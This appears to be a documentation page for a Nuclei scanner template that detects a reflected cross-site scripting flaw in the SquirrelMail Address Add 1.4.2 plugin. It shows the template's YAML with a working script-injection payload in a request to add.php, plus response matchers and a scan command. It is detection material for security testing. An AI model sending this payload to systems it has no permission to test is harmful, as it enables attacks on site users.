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SquirrelMail Address Add 1.4.2 - Cross-Site Scripting

ID: squirrelmail-address-xss

Severity: medium

Author: dhiyaneshDk

Tags: edb,xss,squirrelmail,plugin

Description

Section titled “Description”

SquirrelMail Address Add 1.4.2 plugin contains a cross-site scripting vulnerability. It fails to properly sanitize user-supplied input, thus allowing an attacker to execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

YAML Source

Section titled “YAML Source”
id: squirrelmail-address-xss


info:
  name: SquirrelMail Address Add 1.4.2 - Cross-Site Scripting
  author: dhiyaneshDk
  severity: medium
  description: SquirrelMail Address Add 1.4.2 plugin contains a cross-site scripting vulnerability. It fails to properly sanitize user-supplied input, thus allowing an attacker to execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://www.exploit-db.com/exploits/26305
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cwe-id: CWE-80
  metadata:
    max-request: 1
  tags: edb,xss,squirrelmail,plugin


http:
  - method: GET
    path:
      - '{{BaseURL}}/plugins/address_add/add.php?first=HOVER%20ME!%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'


    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200


      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"


      - type: word
        part: header
        words:
          - "text/html"
# digest: 4b0a00483046022100a1db3e89bcc04d677539cc7f60a20fd64eba24ce0fb6ea7721b55a3be324e7d7022100e7d57ada493ccc526ca03da39e9dc056dc12663b2e9bca787508ba17f1a461f2:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/squirrelmail/squirrelmail-add-xss.yaml"

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